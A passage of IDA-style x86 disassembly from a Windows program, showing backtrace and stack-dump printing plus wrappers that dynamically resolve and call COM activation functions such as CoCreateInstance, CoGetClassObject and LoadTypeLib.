sub_4D9015+8Fj mov eax, [ebp+var_18] add eax, [ebp+var_1C] mov [ebp+var_14], eax mov eax, [ebp+var_C] cmp eax, [ebp+var_18] jb short loc_4D90E5 mov eax, [ebp+var_C] cmp eax, [ebp+var_14] jnb short loc_4D90E5 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+var_C] sub eax, [ebp+var_18] mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_4D90EA ; --------------------------------------------------------------------------- loc_4D90E5: ; CODE XREF: sub_4D9015+B0j ; sub_4D9015+B8j jmp loc_4D9051 ; --------------------------------------------------------------------------- loc_4D90EA: ; CODE XREF: sub_4D9015+4Dj ; sub_4D9015+CEj xor al, al pop esi leave retn sub_4D9015 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D90EF proc near ; CODE XREF: sub_4D8EF3+89p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push edi push 41h pop ecx xor eax, eax mov edi, offset dword_4E5E90 rep stosd push 104h push offset dword_4E5E90 mov eax, [ebp+arg_0] push dword ptr [eax+4] call ds:dword_4E1714 ; GetModuleFileNameA test eax, eax jnz short loc_4D911F xor eax, eax jmp short loc_4D918B ; --------------------------------------------------------------------------- loc_4D911F: ; CODE XREF: sub_4D90EF+2Aj push 5Ch push offset dword_4E5E90 call sub_4CC700 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4D913C mov eax, [ebp+var_4] inc eax jmp short loc_4D918B ; --------------------------------------------------------------------------- loc_4D913C: ; CODE XREF: sub_4D90EF+45j mov edi, offset dword_4E5E90 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 50h pop eax cmp eax, ecx sbb eax, eax neg eax mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4D9186 mov eax, [ebp+var_8] mov ds:byte_4E5E40[eax], 2Eh mov eax, [ebp+var_8] mov ds:byte_4E5E41[eax], 2Eh mov eax, [ebp+var_8] mov ds:byte_4E5E42[eax], 2Eh mov eax, [ebp+var_8] lea eax, byte_4E5E40[eax] jmp short loc_4D918B ; --------------------------------------------------------------------------- loc_4D9186: ; CODE XREF: sub_4D90EF+6Cj mov eax, offset dword_4E5E90 loc_4D918B: ; CODE XREF: sub_4D90EF+2Ej ; sub_4D90EF+4Bj ... pop edi leave retn sub_4D90EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D918E proc near ; CODE XREF: sub_4D8C27+132p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE560 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push offset aBacktrace ; "-- backtrace --" call sub_4D8726 pop ecx mov eax, [ebp+arg_4] mov [ebp+var_1C], eax and [ebp+var_4], 0 push [ebp+arg_0] call sub_4D8EF3 pop ecx push eax push offset aS_6 ; " %s" call sub_4D8726 pop ecx pop ecx and [ebp+var_20], 0 jmp short loc_4D91F6 ; --------------------------------------------------------------------------- loc_4D91E7: ; CODE XREF: sub_4D918E+96j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_1C], eax loc_4D91F6: ; CODE XREF: sub_4D918E+57j cmp [ebp+var_20], 40h jnb short loc_4D9226 cmp [ebp+var_1C], 0 jz short loc_4D9226 mov eax, [ebp+var_1C] cmp dword ptr [eax+4], 0 jz short loc_4D9226 mov eax, [ebp+var_1C] push dword ptr [eax+4] call sub_4D8EF3 pop ecx push eax push offset aS_6 ; " %s" call sub_4D8726 pop ecx pop ecx jmp short loc_4D91E7 ; --------------------------------------------------------------------------- loc_4D9226: ; CODE XREF: sub_4D918E+6Cj ; sub_4D918E+72j ... or [ebp+var_4], 0FFFFFFFFh jmp short loc_4D9242 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] push offset a___OpssBrokenB ; " ... opss, broken by SEH" call sub_4D8726 pop ecx or [ebp+var_4], 0FFFFFFFFh loc_4D9242: ; CODE XREF: sub_4D918E+9Cj push offset aStack ; "--stack--" call sub_4D8726 pop ecx mov eax, [ebp+arg_8] mov [ebp+var_1C], eax mov [ebp+var_4], 1 and [ebp+var_24], 0 jmp short loc_4D9267 ; --------------------------------------------------------------------------- loc_4D9260: ; CODE XREF: sub_4D918E+10Fj mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_4D9267: ; CODE XREF: sub_4D918E+D0j cmp [ebp+var_24], 8 jnb short loc_4D929F mov eax, [ebp+var_1C] push dword ptr [eax+0Ch] mov eax, [ebp+var_1C] push dword ptr [eax+8] mov eax, [ebp+var_1C] push dword ptr [eax+4] mov eax, [ebp+var_1C] push dword ptr [eax] push [ebp+var_1C] push offset a0x08x0x08x0x08 ; "0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x" call sub_4D8726 add esp, 18h mov eax, [ebp+var_1C] add eax, 10h mov [ebp+var_1C], eax jmp short loc_4D9260 ; --------------------------------------------------------------------------- loc_4D929F: ; CODE XREF: sub_4D918E+DDj or [ebp+var_4], 0FFFFFFFFh jmp short loc_4D92BB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] push offset a___OpssBrokenB ; " ... opss, broken by SEH" call sub_4D8726 pop ecx or [ebp+var_4], 0FFFFFFFFh loc_4D92BB: ; CODE XREF: sub_4D918E+115j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4D918E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D92CA proc near ; CODE XREF: sub_4CF63E+64p ; sub_4D153F+2AFp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi and [ebp+var_8], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [ecx+eax+1] push eax call sub_4D835A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_8], eax mov ecx, [ebp+var_4] inc ecx mov esi, [ebp+arg_0] mov edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_8] pop edi pop esi leave retn sub_4D92CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D931F proc near ; CODE XREF: sub_4D93B3+1Fp ; sub_4D98C0+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] and eax, 1 test eax, eax jnz short loc_4D9336 mov eax, 80004005h jmp short locret_4D93B1 ; --------------------------------------------------------------------------- loc_4D9336: ; CODE XREF: sub_4D931F+Ej push [ebp+arg_0] call sub_4D2D50 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4D93AC push 8 pop edx mov ecx, [ebp+var_4] call sub_4D61E1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4D936C mov eax, [ebp+arg_14] mov dword ptr [eax], 80004005h mov eax, 80004005h jmp short locret_4D93B1 ; --------------------------------------------------------------------------- loc_4D936C: ; CODE XREF: sub_4D931F+3Bj and [ebp+var_C], 0 push offset aDllgetclassobj ; "DllGetClassObject" push [ebp+var_8] call ds:dword_4E1728 ; GetProcAddress mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4D9397 mov eax, [ebp+arg_14] mov dword ptr [eax], 80004005h mov eax, 80004005h jmp short locret_4D93B1 ; --------------------------------------------------------------------------- loc_4D9397: ; CODE XREF: sub_4D931F+66j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call [ebp+var_C] mov ecx, [ebp+arg_14] mov [ecx], eax xor eax, eax jmp short locret_4D93B1 ; --------------------------------------------------------------------------- loc_4D93AC: ; CODE XREF: sub_4D931F+27j mov eax, 80004005h locret_4D93B1: ; CODE XREF: sub_4D931F+15j ; sub_4D931F+4Bj ... leave retn sub_4D931F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D93B3 proc near ; CODE XREF: sub_4D9518+53p ; sub_4D9789+43p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 1Ch and [ebp+var_4], 0 push [ebp+arg_18] lea eax, [ebp+var_4] push eax push offset dword_4E11D8 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_4D931F add esp, 18h test eax, eax jl loc_4D9511 mov eax, [ebp+arg_18] cmp dword ptr [eax], 0 jge short loc_4D93F4 mov eax, [ebp+arg_18] mov eax, [eax] jmp locret_4D9516 ; --------------------------------------------------------------------------- loc_4D93F4: ; CODE XREF: sub_4D93B3+35j and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_14], 0 and [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push offset dword_4E11C8 push [ebp+arg_4] mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+0Ch] test eax, eax jl loc_4D94BB and [ebp+var_18], 0 jmp short loc_4D9430 ; --------------------------------------------------------------------------- loc_4D9429: ; CODE XREF: sub_4D93B3+F8j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4D9430: ; CODE XREF: sub_4D93B3+74j mov eax, [ebp+var_18] cmp eax, [ebp+arg_10] jnb short loc_4D94B0 mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] lea eax, [ecx+eax+4] push eax mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] push dword ptr [ecx+eax] mov eax, [ebp+var_8] mov eax, [eax] push [ebp+var_8] call dword ptr [eax] mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+arg_14] mov [edx+ecx+8], eax mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] cmp dword ptr [ecx+eax+8], 0 jl short loc_4D947F mov [ebp+var_C], 1 jmp short loc_4D949C ; --------------------------------------------------------------------------- loc_4D947F: ; CODE XREF: sub_4D93B3+C4j mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] cmp dword ptr [ecx+eax+8], 80004002h jnz short loc_4D9498 mov [ebp+var_10], 1 jmp short loc_4D949C ; --------------------------------------------------------------------------- loc_4D9498: ; CODE XREF: sub_4D93B3+DDj mov [ebp+var_14], 1 loc_4D949C: ; CODE XREF: sub_4D93B3+CAj ; sub_4D93B3+E3j mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] mov eax, [ecx+eax] mov [ebp+var_1C], eax jmp loc_4D9429 ; --------------------------------------------------------------------------- loc_4D94B0: ; CODE XREF: sub_4D93B3+83j mov eax, [ebp+var_8] mov eax, [eax] push [ebp+var_8] call dword ptr [eax+8] loc_4D94BB: ; CODE XREF: sub_4D93B3+6Aj movzx eax, [ebp+var_14] test eax, eax jz short loc_4D94CE mov eax, [ebp+arg_18] mov dword ptr [eax], 80004005h jmp short loc_4D9502 ; --------------------------------------------------------------------------- loc_4D94CE: ; CODE XREF: sub_4D93B3+10Ej movzx eax, [ebp+var_C] test eax, eax jz short loc_4D94E9 movzx eax, [ebp+var_10] test eax, eax jz short loc_4D94E9 mov eax, [ebp+arg_18] mov dword ptr [eax], 80012h jmp short loc_4D9502 ; --------------------------------------------------------------------------- loc_4D94E9: ; CODE XREF: sub_4D93B3+121j ; sub_4D93B3+129j movzx eax, [ebp+var_C] test eax, eax jz short loc_4D94F9 mov eax, [ebp+arg_18] and dword ptr [eax], 0 jmp short loc_4D9502 ; --------------------------------------------------------------------------- loc_4D94F9: ; CODE XREF: sub_4D93B3+13Cj mov eax, [ebp+arg_18] mov dword ptr [eax], 80004002h loc_4D9502: ; CODE XREF: sub_4D93B3+119j ; sub_4D93B3+134j ... mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+8] xor eax, eax jmp short locret_4D9516 ; --------------------------------------------------------------------------- loc_4D9511: ; CODE XREF: sub_4D93B3+29j mov eax, 80004005h locret_4D9516: ; CODE XREF: sub_4D93B3+3Cj ; sub_4D93B3+15Cj leave retn sub_4D93B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9518 proc near ; DATA XREF: _6:off_4E13E0o var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE578 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 and [ebp+var_2C], 0 xor eax, eax lea edi, [ebp+var_28] stosd stosd mov eax, [ebp+arg_C] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax push 1 push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D93B3 add esp, 1Ch test eax, eax jl short loc_4D959A mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax], ecx push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_4D9627 ; --------------------------------------------------------------------------- loc_4D959A: ; CODE XREF: sub_4D9518+5Dj mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_4D95D6 push [ebp+arg_0] call sub_4D9638 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D95D6 mov [ebp+arg_8], 1 push [ebp+var_1C] call ds:dword_4E1718 ; GetModuleHandleA test eax, eax jnz short loc_4D95D6 push 8 push 0 push [ebp+var_1C] call sub_4DAE96 loc_4D95D6: ; CODE XREF: sub_4D9518+8Aj ; sub_4D9518+9Cj ... and [ebp+var_20], 0 push offset dword_4DE5DC push offset aCocreateinstan ; "CoCreateInstance" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_20], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] push 0FFFFFFFFh mov [ebp+var_3C], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_4D9627 ; --------------------------------------------------------------------------- loc_4D9615: ; DATA XREF: _5:004DE580o mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_4D83DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_4D9627: ; CODE XREF: sub_4D9518+7Dj ; sub_4D9518+FBj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 14h sub_4D9518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9638 proc near ; CODE XREF: sub_4D9518+8Fp ; sub_4D9789+8Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004D96A2 SIZE 0000007A BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE588 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi push offset dword_4E6098 call ds:dword_4E16C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 cmp ds:dword_4E60B0, 0 jnz short loc_4D968B push offset aAdvapi32_dll_0 ; "ADVAPI32.DLL" push offset aRegqueryvaluea ; "RegQueryValueA" call sub_4D9C22 pop ecx pop ecx mov ds:dword_4E60B0, eax loc_4D968B: ; CODE XREF: sub_4D9638+3Bj or [ebp+var_4], 0FFFFFFFFh call sub_4D9696 jmp short loc_4D96A2 sub_4D9638 endp ; =============== S U B R O U T I N E ======================================= sub_4D9696 proc near ; CODE XREF: sub_4D9638+57p ; DATA XREF: _5:004DE590o push offset dword_4E6098 call ds:dword_4E1754 ; RtlLeaveCriticalSection retn sub_4D9696 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D9638 loc_4D96A2: ; CODE XREF: sub_4D9638+5Cj push 401h call sub_4D835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_1C], eax mov [ebp+var_20], 400h mov ecx, [ebp+var_20] xor eax, eax mov edi, [ebp+var_1C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push [ebp+arg_0] call sub_4D971C pop ecx lea eax, [ebp+var_20] push eax push [ebp+var_1C] push offset dword_4E5F98 push 80000000h call ds:dword_4E60B0 test eax, eax jnz short loc_4D96FC mov eax, [ebp+var_1C] jmp short loc_4D970D ; --------------------------------------------------------------------------- loc_4D96FC: ; CODE XREF: sub_4D9638+BDj mov eax, [ebp+var_1C] mov [ebp+var_28], eax push [ebp+var_28] call sub_4D83DD pop ecx xor eax, eax loc_4D970D: ; CODE XREF: sub_4D9638+C2j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4D9638 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D971C proc near ; CODE XREF: sub_4D9638+9Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Fh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Eh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Dh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Ch] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Bh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Ah] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+9] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+8] push eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax+6] push eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax+4] push eax mov eax, [ebp+arg_0] push dword ptr [eax] push offset aClsid08x04x04x ; "CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"... push offset dword_4E5F98 call ds:dword_4E17D4 ; wsprintfA add esp, 34h pop ebp retn sub_4D971C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9789 proc near ; DATA XREF: _6:004E13E8o var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE598 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 lea eax, [ebp+var_2C] push eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D93B3 add esp, 1Ch test eax, eax jl short loc_4D97F3 push 0FFFFFFFFh mov eax, [ebp+var_2C] mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_4D98AF ; --------------------------------------------------------------------------- loc_4D97F3: ; CODE XREF: sub_4D9789+4Dj and [ebp+var_20], 0 push offset dword_4DE5DC push offset aCocreateinst_0 ; "CoCreateInstanceEx" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_20], eax mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_4D9847 push [ebp+arg_0] call sub_4D9638 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D9847 mov [ebp+arg_8], 1 push [ebp+var_1C] call ds:dword_4E1718 ; GetModuleHandleA test eax, eax jnz short loc_4D9847 push 8 push 0 push [ebp+var_1C] call sub_4DAE96 loc_4D9847: ; CODE XREF: sub_4D9789+8Aj ; sub_4D9789+9Cj ... push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] mov [ebp+var_24], eax and [ebp+var_28], 0 jmp short loc_4D986C ; --------------------------------------------------------------------------- loc_4D9865: ; CODE XREF: sub_4D9789+FAj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_4D986C: ; CODE XREF: sub_4D9789+DAj mov eax, [ebp+var_28] cmp eax, [ebp+arg_10] jnb short loc_4D9885 mov eax, [ebp+var_28] imul eax, 0Ch mov ecx, [ebp+arg_14] mov eax, [ecx+eax] mov [ebp+var_30], eax jmp short loc_4D9865 ; --------------------------------------------------------------------------- loc_4D9885: ; CODE XREF: sub_4D9789+E9j push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_3C], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_4D98AF ; --------------------------------------------------------------------------- loc_4D989D: ; DATA XREF: _5:004DE5A0o mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_4D83DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_4D98AF: ; CODE XREF: sub_4D9789+65j ; sub_4D9789+112j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_4D9789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D98C0 proc near ; DATA XREF: _6:004E13F0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE5A8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 lea eax, [ebp+var_24] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D931F add esp, 18h test eax, eax jl short loc_4D9927 push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_2C], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp loc_4D99B4 ; --------------------------------------------------------------------------- loc_4D9927: ; CODE XREF: sub_4D98C0+4Aj mov eax, [ebp+arg_4] and eax, 1 test eax, eax jz short loc_4D9963 push [ebp+arg_0] call sub_4D9638 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D9963 mov [ebp+arg_4], 1 push [ebp+var_1C] call ds:dword_4E1718 ; GetModuleHandleA test eax, eax jnz short loc_4D9963 push 8 push 0 push [ebp+var_1C] call sub_4DAE96 loc_4D9963: ; CODE XREF: sub_4D98C0+6Fj ; sub_4D98C0+81j ... and [ebp+var_20], 0 push offset dword_4DE5DC push offset aCogetclassobje ; "CoGetClassObject" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_20], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] push 0FFFFFFFFh mov [ebp+var_30], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_4D99B4 ; --------------------------------------------------------------------------- loc_4D99A2: ; DATA XREF: _5:004DE5B0o mov eax, [ebp+var_1C] mov [ebp+var_28], eax push [ebp+var_28] call sub_4D83DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_4D99B4: ; CODE XREF: sub_4D98C0+62j ; sub_4D98C0+E0j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 14h sub_4D98C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D99C5 proc near ; CODE XREF: sub_4D9A34+9Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 80070057h and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] mov eax, [ebp+arg_0] mov eax, [eax] push [ebp+arg_0] call dword ptr [eax+18h] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl short loc_4D9A2F and [ebp+var_C], 0 push offset dword_4DE5F8 push offset aGetrecordinfof ; "GetRecordInfoFromTypeInfo" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4D9A28 push [ebp+arg_8] push [ebp+var_4] call [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+8] jmp short loc_4D9A2F ; --------------------------------------------------------------------------- loc_4D9A28: ; CODE XREF: sub_4D99C5+48j mov [ebp+var_8], 80004005h loc_4D9A2F: ; CODE XREF: sub_4D99C5+2Aj ; sub_4D99C5+61j mov eax, [ebp+var_8] leave retn sub_4D99C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D9A34 proc near ; DATA XREF: _6:off_4E13F8o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 24h push edi mov [ebp+var_4], 80004005h push [ebp+arg_0] call sub_4D2D50 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz loc_4D9AFD and [ebp+var_10], 0 mov edi, [ebp+var_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_18], ecx push 208h call sub_4D835A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax mov ecx, 82h xor eax, eax mov edi, [ebp+var_14] rep stosd push 104h push [ebp+var_14] push 0FFFFFFFFh push [ebp+var_8] push 0 push 0 call ds:dword_4E1770 ; MultiByteToWideChar push offset dword_4DE5F8 push offset aLoadtypelib ; "LoadTypeLib" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push eax push [ebp+var_14] call [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jl short loc_4D9AE9 push [ebp+arg_14] push [ebp+arg_10] push [ebp+var_10] call sub_4D99C5 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+var_10] mov eax, [eax] push [ebp+var_10] call dword ptr [eax+8] loc_4D9AE9: ; CODE XREF: sub_4D9A34+94j mov eax, [ebp+var_14] mov [ebp+var_24], eax push [ebp+var_24] call sub_4D83DD pop ecx mov eax, [ebp+var_4] jmp short loc_4D9B37 ; --------------------------------------------------------------------------- loc_4D9AFD: ; CODE XREF: sub_4D9A34+1Ej and [ebp+var_1C], 0 push offset dword_4DE5F8 push offset aGetrecordinf_0 ; "GetRecordInfoFromGuids" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D9B32 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_1C] jmp short loc_4D9B37 ; --------------------------------------------------------------------------- 